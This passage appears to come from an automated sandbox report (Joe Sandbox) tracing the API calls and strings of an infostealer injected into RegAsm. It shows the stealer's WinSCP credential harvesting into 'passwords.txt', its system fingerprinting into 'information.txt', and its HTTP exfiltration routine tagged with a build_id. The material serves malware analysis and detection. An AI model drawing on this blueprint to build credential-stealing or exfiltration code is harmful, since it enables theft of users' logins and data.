lstrlenA.KERNEL32(?), ref: 0040756A
_memmove.LIBCMT ref: 00407578
lstrlenA.KERNEL32(?), ref: 00407586
lstrlenA.KERNEL32(?,?,00000000), ref: 00407594
_memmove.LIBCMT ref: 004075A1
lstrlenA.KERNEL32(?,?,00000000), ref: 004075B6
HttpSendRequestA.WININET(00000000,?,00000000), ref: 004075C4
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00407621
InternetCloseHandle.WININET(00000000), ref: 0040762C
InternetCloseHandle.WININET(?), ref: 00407638
InternetCloseHandle.WININET(?), ref: 00407644
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406E7C

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

build_id, xrefs: 00407095
------, xrefs: 004073FF
mode, xrefs: 004071F1
task_id, xrefs: 00407351
------, xrefs: 00406FE3
------, xrefs: 0040729F
", xrefs: 004074DD
------, xrefs: 00406CFC
------, xrefs: 00406E82
12d962a0b4176a0c19c4e61c53bd20b5, xrefs: 004070ED
", xrefs: 004070C1
", xrefs: 00406F61
", xrefs: 0040721D
status, xrefs: 004074B1
------, xrefs: 00407145
", xrefs: 0040737D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$"$"$------$------$------$------$------$------$12d962a0b4176a0c19c4e61c53bd20b5$build_id$mode$status$task_id
API String ID: 3702379033-2084849766
Opcode ID: a0a2c4bfb7f1e87a4274055c71a63f1891833055d21c6415a8806565e47d656e
Instruction ID: 0090ae1182acd75542f754b5b396311e93c8e68d741ab60ddf4244fc9b2bbf9d
Opcode Fuzzy Hash: a0a2c4bfb7f1e87a4274055c71a63f1891833055d21c6415a8806565e47d656e
Instruction Fuzzy Hash: 2852897194016D9ACF61EB62CD46BCCB3B5AF04308F4184E7A51D73161DAB46FCA8FA8

Function 00405F39 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 466
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
StrCmpCA.SHLWAPI(?), ref: 00405FF6
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
lstrlenA.KERNEL32(?,",mode,004378D8,------,004378CC,12d962a0b4176a0c19c4e61c53bd20b5,",build_id,004378B4,------,004378A8,",0043789C,------), ref: 004065FD
lstrlenA.KERNEL32(?), ref: 0040660C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00406617
HeapAlloc.KERNEL32(00000000), ref: 0040661E
lstrlenA.KERNEL32(?), ref: 0040662B
_memmove.LIBCMT ref: 00406639
lstrlenA.KERNEL32(?), ref: 00406647
lstrlenA.KERNEL32(?,?,00000000), ref: 00406655
_memmove.LIBCMT ref: 00406662
lstrlenA.KERNEL32(?,?,00000000), ref: 00406677
HttpSendRequestA.WININET(00000000,?,00000000), ref: 00406685
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 004066E2
InternetCloseHandle.WININET(00000000), ref: 004066ED
InternetCloseHandle.WININET(?), ref: 004066F9
InternetCloseHandle.WININET(?), ref: 00406705
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Strings

mode, xrefs: 00406575
12d962a0b4176a0c19c4e61c53bd20b5, xrefs: 00406471
------, xrefs: 00406206
------, xrefs: 00406080
", xrefs: 004065A1
------, xrefs: 00406367
------, xrefs: 004064C9
build_id, xrefs: 00406419
xA, xrefs: 004067D8
", xrefs: 004062E5
", xrefs: 00406445

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internetlstrlen$lstrcpy$CloseHandle$HeapHttpOpenRequest_memmovelstrcat$AllocConnectCrackFileOptionProcessReadSend
String ID: "$"$"$------$------$------$------$12d962a0b4176a0c19c4e61c53bd20b5$build_id$mode$xA
API String ID: 3702379033-1711911266
Opcode ID: cdf19269c29229455b864ed935b76fe2993f21d0c181a4e5497b374d8391a34a
Instruction ID: 03db357aed6932b07deda91b49b5c3d8747ab084d6dd0c8f0fb5a46f94a0e534
Opcode Fuzzy Hash: cdf19269c29229455b864ed935b76fe2993f21d0c181a4e5497b374d8391a34a
Instruction Fuzzy Hash: 0122C9719401699BCF21EB62CD46BCCB7B5AF04308F4144E7A60DB3151DAB56FCA8FA8

Function 0040E186 Relevance: 51.1, APIs: 15, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040E1B7
_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E8
_memset.LIBCMT ref: 0040E1F9
RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E22D
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E25E
RegOpenKeyExA.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040E2BD
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E2E0
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,004368E7), ref: 0040E379
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E3D9

Strings

Host: , xrefs: 0040E32A
Soft: WinSCP, xrefs: 0040E2FE
PortNumber, xrefs: 0040E3BD
Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E2B3
Password, xrefs: 0040E515
UseMasterPassword, xrefs: 0040E24E
HostName, xrefs: 0040E367
UserName, xrefs: 0040E496
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E20B
Login: , xrefs: 0040E459
Security, xrefs: 0040E253
:22, xrefs: 0040E42D
passwords.txt, xrefs: 0040E662
Password: , xrefs: 0040E529

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memset$Value$Open$Enum
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 3303087153-2798830873
Opcode ID: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction ID: 43426b182d4f8a254889d9b3fd0899fd60441e0156ac402dc668521a0e0de3a3
Opcode Fuzzy Hash: d657bcb7850f1073a35a7b93982b0c1e3fcc2cc72cc5baad8dad1431928e3997
Instruction Fuzzy Hash: ECD1E6B191012DAADF21EB91DC42BD9B778AF04308F5018EBA508B3151DAB47FC9CFA5

Function 0041878D Relevance: 48.2, APIs: 32, Instructions: 154
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 004187CE
GetProcAddress.KERNEL32 ref: 004187E5
GetProcAddress.KERNEL32 ref: 004187FC
GetProcAddress.KERNEL32 ref: 00418813
GetProcAddress.KERNEL32 ref: 0041882A
GetProcAddress.KERNEL32 ref: 00418841
GetProcAddress.KERNEL32 ref: 00418858
GetProcAddress.KERNEL32 ref: 0041886F
GetProcAddress.KERNEL32 ref: 00418886
GetProcAddress.KERNEL32 ref: 0041889D
GetProcAddress.KERNEL32 ref: 004188B4
GetProcAddress.KERNEL32 ref: 004188CB
GetProcAddress.KERNEL32 ref: 004188E2
GetProcAddress.KERNEL32 ref: 004188F9
GetProcAddress.KERNEL32 ref: 00418910
GetProcAddress.KERNEL32 ref: 00418927
GetProcAddress.KERNEL32 ref: 0041893E
GetProcAddress.KERNEL32 ref: 00418955
GetProcAddress.KERNEL32 ref: 0041896C
GetProcAddress.KERNEL32 ref: 00418983
LoadLibraryA.KERNEL32(?,0041860C), ref: 00418994
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189A5
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189B6
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189C7
LoadLibraryA.KERNEL32(?,0041860C), ref: 004189D8
GetProcAddress.KERNEL32(75A70000,0041860C), ref: 004189F4
GetProcAddress.KERNEL32(75290000,0041860C), ref: 00418A0F
GetProcAddress.KERNEL32 ref: 00418A26
GetProcAddress.KERNEL32(75BD0000,0041860C), ref: 00418A41
GetProcAddress.KERNEL32(75450000,0041860C), ref: 00418A5C
GetProcAddress.KERNEL32(76E90000,0041860C), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction ID: bc8b3d3a0bb5216a2661be75a40d9f4e81620d684c3abe8124060225cbc31230
Opcode Fuzzy Hash: ee6f8a2fccb2d3f9946019b0c38f371037af2cafaffa3ea3c9fa77732076a60f
Instruction Fuzzy Hash: 55710675910312AFEF1ADF60FD488243BA7F70874BF11A426E91582270EB374A64EF55

Function 00413B86 Relevance: 47.9, APIs: 2, Strings: 25, Instructions: 674
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410CC0: GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
Part of subcall function 00410CC0: HeapAlloc.KERNEL32(00000000), ref: 00410CDF
Part of subcall function 00410CC0: GetLocalTime.KERNEL32(?), ref: 00410CEB
Part of subcall function 00410CC0: wsprintfA.USER32 ref: 00410D16

Part of subcall function 004115D4: _memset.LIBCMT ref: 00411607
Part of subcall function 004115D4: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,?,?,?,?), ref: 00411626
Part of subcall function 004115D4: RegQueryValueExA.KERNEL32(?,MachineGuid,00000000,00000000,?,000000FF,?,?,?), ref: 0041164B
Part of subcall function 004115D4: CharToOemA.USER32(?,?), ref: 0041166B

Part of subcall function 00411684: GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F
Part of subcall function 00411684: _memset.LIBCMT ref: 004116CE
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
Part of subcall function 00411684: lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 004109A2: GetWindowsDirectoryA.KERNEL32(?,00000104,?,?,00000000), ref: 004109D5
Part of subcall function 004109A2: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00410A15
Part of subcall function 004109A2: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 00410A6A
Part of subcall function 004109A2: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410A71

GetCurrentProcessId.KERNEL32(Path: ,0043687C,HWID: ,00436870,GUID: ,00436864,00000000,MachineID: ,00436854,00000000,Date: ,00436848,00436844,004379AC,Version: ,004365B6), ref: 00413DDB

Part of subcall function 0041224A: OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
Part of subcall function 0041224A: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
Part of subcall function 0041224A: CloseHandle.KERNEL32(00000000), ref: 0041228E

Part of subcall function 00410B30: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
Part of subcall function 00410B30: HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B

Part of subcall function 00411807: __EH_prolog3_catch_GS.LIBCMT ref: 0041180E
Part of subcall function 00411807: CoInitializeEx.OLE32(00000000,00000000,0000004C,00413EF9,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 0041181F
Part of subcall function 00411807: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411830
Part of subcall function 00411807: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041184A
Part of subcall function 00411807: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411880
Part of subcall function 00411807: VariantInit.OLEAUT32(?), ref: 004118DB

Part of subcall function 00411997: __EH_prolog3_catch.LIBCMT ref: 0041199E
Part of subcall function 00411997: CoInitializeEx.OLE32(00000000,00000000,00000030,00413F67,?,AV: ,004368C4,Install Date: ,004368B0,00000000,Windows: ,004368A0,Work Dir: In memory,00436888), ref: 004119AD
Part of subcall function 00411997: CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004119BE
Part of subcall function 00411997: CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 004119D8
Part of subcall function 00411997: CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411A0E
Part of subcall function 00411997: VariantInit.OLEAUT32(?), ref: 00411A5D

Part of subcall function 00410C85: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00401385), ref: 00410C91
Part of subcall function 00410C85: RtlAllocateHeap.NTDLL(00000000,?,?,?,00401385), ref: 00410C98
Part of subcall function 00410C85: GetComputerNameA.KERNEL32(00000000,00401385), ref: 00410CAC

Part of subcall function 00410C53: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
Part of subcall function 00410C53: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
Part of subcall function 00410C53: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Part of subcall function 00411563: CreateDCA.GDI32(00000000,00000000,00000000,00000000), ref: 00411575
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,00000008), ref: 00411580
Part of subcall function 00411563: GetDeviceCaps.GDI32(00000000,0000000A), ref: 0041158B
Part of subcall function 00411563: ReleaseDC.USER32(00000000,00000000), ref: 00411596
Part of subcall function 00411563: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4), ref: 004115A2
Part of subcall function 00411563: HeapAlloc.KERNEL32(00000000,?,?,00414098,?,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 004115A9
Part of subcall function 00411563: wsprintfA.USER32 ref: 004115BB

Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
Part of subcall function 00410DDB: LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
Part of subcall function 00410DDB: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
Part of subcall function 00410DDB: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57
Part of subcall function 00410DDB: LocalFree.KERNEL32(00000000), ref: 00410EFF

Part of subcall function 00410D2E: GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
Part of subcall function 00410D2E: HeapAlloc.KERNEL32(00000000), ref: 00410D50
Part of subcall function 00410D2E: GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
Part of subcall function 00410D2E: wsprintfA.USER32 ref: 00410D7D

Part of subcall function 00410F51: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
Part of subcall function 00410F51: HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
Part of subcall function 00410F51: RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
Part of subcall function 00410F51: RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6

Part of subcall function 00411007: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,?), ref: 0041107D
Part of subcall function 00411007: wsprintfA.USER32 ref: 004110DB

Part of subcall function 00410FBA: GetSystemInfo.KERNEL32(?), ref: 00410FD4
Part of subcall function 00410FBA: wsprintfA.USER32 ref: 00410FEC

Part of subcall function 00411119: GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
Part of subcall function 00411119: HeapAlloc.KERNEL32(00000000), ref: 00411138
Part of subcall function 00411119: GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
Part of subcall function 00411119: wsprintfA.USER32 ref: 0041117A

Part of subcall function 00411192: EnumDisplayDevicesA.USER32(00000000,00000000,?,00000001), ref: 004111E9

Part of subcall function 004114A5: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Part of subcall function 004114A5: Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Part of subcall function 004114A5: Process32Next.KERNEL32(00000000,00000128), ref: 00411542
Part of subcall function 004114A5: CloseHandle.KERNEL32(00000000), ref: 0041154D

Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,00000000,00020019,?,0043670F,00000000,?,?), ref: 00411273
Part of subcall function 00411203: RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000), ref: 004112B0
Part of subcall function 00411203: wsprintfA.USER32 ref: 004112DD
Part of subcall function 00411203: RegOpenKeyExA.KERNEL32(?,?,00000000,00020019,?), ref: 004112FC
Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?), ref: 00411332
Part of subcall function 00411203: lstrlenA.KERNEL32(?), ref: 00411347

Part of subcall function 00411203: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00436E8C), ref: 004113DC

lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000), ref: 00414563

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

Keyboard Languages: , xrefs: 004140DE
Version: , xrefs: 00413B9F
Threads: , xrefs: 004142EF
[Processes], xrefs: 0041442A
MachineID: , xrefs: 00413C80
Computer Name: , xrefs: 00413FAD
Path: , xrefs: 00413DBB
RAM: , xrefs: 00414350
User Name: , xrefs: 0041400E
Local Time: , xrefs: 0041414B
VideoCard: , xrefs: 004143B7
information.txt, xrefs: 00414573
Work Dir: In memory, xrefs: 00413E30
[Hardware], xrefs: 0041420D
HWID: , xrefs: 00413D4E
Date: , xrefs: 00413C1F
GUID: , xrefs: 00413CE1
Windows: , xrefs: 00413E70
AV: , xrefs: 00413F3E
[Software], xrefs: 004144A3
Install Date: , xrefs: 00413ED1
Cores: , xrefs: 0041428E
Processor: , xrefs: 0041422D
Display Resolution: , xrefs: 0041406F
TimeZone: , xrefs: 004141AC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$wsprintf$CreateOpen$InitializeQueryValuelstrcatlstrcpy$InformationLocalNamelstrlen$BlanketCapsCloseCurrentDeviceEnumHandleInfoInitInstanceKeyboardLayoutListProcess32ProxySecurityTimeVariant_memset$AllocateCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalH_prolog3_catchH_prolog3_catch_LocaleLogicalMemoryModuleNextObjectProcessorProfileReleaseSingleSnapshotStatusSystemThreadToolhelp32UserVolumeWaitWindowsZone
String ID: AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 3279995179-1014693891
Opcode ID: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction ID: b1850c6e61f6c62b6aa9a5b7029b0e637ac1f2022ec6fada49fc294c21208059
Opcode Fuzzy Hash: f64ee0c11fae36487782493274f9efd1e84ed8bfe200156934171c2eeedd498e
Instruction Fuzzy Hash: E7527E71D4001EAACF01FBA2DD429DDB7B5AF04308F51456BB510771A1DBB87E8E8B98

Function 004169B6 Relevance: 47.6, APIs: 10, Strings: 17, Instructions: 331
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

